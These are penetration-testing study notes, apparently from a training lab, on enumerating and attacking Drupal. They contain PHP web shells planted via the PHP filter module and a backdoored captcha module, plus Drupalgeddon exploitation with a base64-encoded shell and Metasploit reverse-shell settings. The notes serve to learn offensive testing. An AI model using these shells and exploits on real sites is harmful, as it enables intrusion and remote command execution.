---
title: "5. Drupal"
date: 2025-01-13
draft: false
---


### Drupal discovery and enumeration
Most of the same shit from wordpress and joomla apply here. 

Written in PHP + supports mysql/psql for backend. 
SqLite possible if no dbms installed. 
Allows themes+modules like WP
Nearly 43,000 modules +2900 themes

CMS are often juicy targets. 

Drupal site can be identified several ways including header/footer message `Powered by Drupal` 
- std. drupal logo 
- changelog.txt file 
- readme.txt 
- page src
- clues in robots.txt (like reference to `/node`)
	- https://www.drupal.org/docs/8/core/modules/node/about-nodes

Drupal indexes content via nodes. Nodes can hold anything (blogpost, poll, article etc)
i.e. first blog post  found at `/node/1` 

Not every drupal site will look the same or display login page or even allow users to access login from pub. internet btw. 

Three user types: Admin, auth user, anonymous. 
- admin full control
- auth can login / add articles
- anonymous - all web visitors by default anon 

---

Once you've discovered a drupal instance: 
- manual+tool based enum 
- Dep on drupal version / hardening measures we may need to find version number in several ways 
- Newer installs by default block CHANGELOG.txt and README.txt files 

```bash
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
```
- enumerate version number using changelog file 

Scanning with `droopescan` (as seen in Joomla section) can be helpful - it actually has more functionality for Drupal than joomla 
```shell-session
droopescan scan drupal -u http://drupal.inlanefreight.local
```

---
### Attacking Drupal 

Confirmed presence of drupal + version fingerprint - Now lets look at misconfigurations and vulnerabilities

Obtaining shell on drupal via admin console is not as easy as editing a php file / uploading malicious php script 

**Leveraging PHP filter module**
- Before v8 
- Enable PHP filter module (`allows embedded php code /snippets to be evaluated`)
- create a page with a web shell 

```bash
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>
```

md5 hashed parameter to avoid 'leaving the door open' to an attacker 
![](/img/Pasted image 20250113225129.png)

V8 onward: 
Install it ourselves. 
```shell-session
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
```

Since we're changing + adding s/t to a client drupal instance we want to check with them first on an assessment. 
`Administration -> Reports -> Available updates` 
(Loc. may differ based on drupal may be under `extend` menu) 
http://drupal.inlanefreight.local/admin/reports/updates/install

Remove / clean it up after we created it in an assessment. 

---

**Uploading a backdoored module**
Users can upload new modules. 
Backdoored module can be created by adding a shell to an existing module. Modules can be found on drupal.org site 

Example: 
https://www.drupal.org/project/captcha
https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz

Download, and extract: 
```shell-session
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```

PHP shell within contents: 
```bash
<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>
```

Create `.htaccess` to give ourselves access to the folder. **NECESSARY** because drupal denies direct access to `/modules` 
```bash
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```

Above apply rules for `/` folder when we request a file in `/modules` 
Copy both of these files to the captcha folder and create an archive. 

```bash
stejwes@htb[/htb]$ mv shell.php .htaccess captcha
stejwes@htb[/htb]$ tar cvf captcha.tar.gz captcha/

captcha/
captcha/.travis.yml
captcha/README.md
captcha/captcha.api.php
captcha/captcha.inc
captcha/captcha.info.yml
captcha/captcha.install

<SNIP>
```

Assuming admin access click manage and extend on sidebar. From there, `install new module`. 

Browse to `/modules/captcha/shell.php` for code execution using our command parameter.


---

Known vulns: 
https://www.drupal.org/SA-CORE-2014-005
- Drupalgeddon
	- 7.0 ~ 7.3.1 
	- Pre-auth SQLi flaw - upload mal form or create new admin user

https://www.drupal.org/sa-core-2018-002
- Drupalgeddon 2
	- RCE vuln prior to 7.58 and 8.5.1 
	- Insufficient input sanitization during user registration - system level commands allowed to be injected 

https://cvedetails.com/cve/CVE-2018-7602/
- Drupalgeddon3 
	- RCE affecting multiple versions of 7.x and 8.x - Improper validation in Form API 

---

**Drupalgeddon 1**
https://www.exploit-db.com/exploits/34992
Metasploit: 
https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon/

**Drupalgeddon 2**
	https://www.exploit-db.com/exploits/44448
```shell-session
curl -s http://drupal-dev.inlanefreight.local/hello.txt

;-)
```

modify script to gain RCE by uploading a malicious PHP file 
```bash
echo '<?php system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);?>' | base64
```

Replace echo in exploit script with cmd to write our malicious php script
```bash
 echo "PD9waHAgc3lzdGVtKCRfR0VUW2ZlOGVkYmFiYzVjNWM5YjdiNzY0NTA0Y2QyMmIxN2FmXSk7Pz4K" | base64 -d | tee mrb3n.php
```

**Drupalgeddon 3**
https://github.com/rithchard/Drupalgeddon3
https://www.drupal.org/sa-core-2018-004

Requires user to have ability to delete a node. 
First requires you to login and obtain a valid session cookie. 
Once we have the session cookie, we can set up the exploit module as follows.

```bash
msf6 exploit(multi/http/drupal_drupageddon3) > set rhosts 10.129.42.195
msf6 exploit(multi/http/drupal_drupageddon3) > set VHOST drupal-acc.inlanefreight.local   
msf6 exploit(multi/http/drupal_drupageddon3) > set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
msf6 exploit(multi/http/drupal_drupageddon3) > set DRUPAL_NODE 1
msf6 exploit(multi/http/drupal_drupageddon3) > set LHOST 10.10.14.15
msf6 exploit(multi/http/drupal_drupageddon3) > show options 
```

Pops a rev shell 
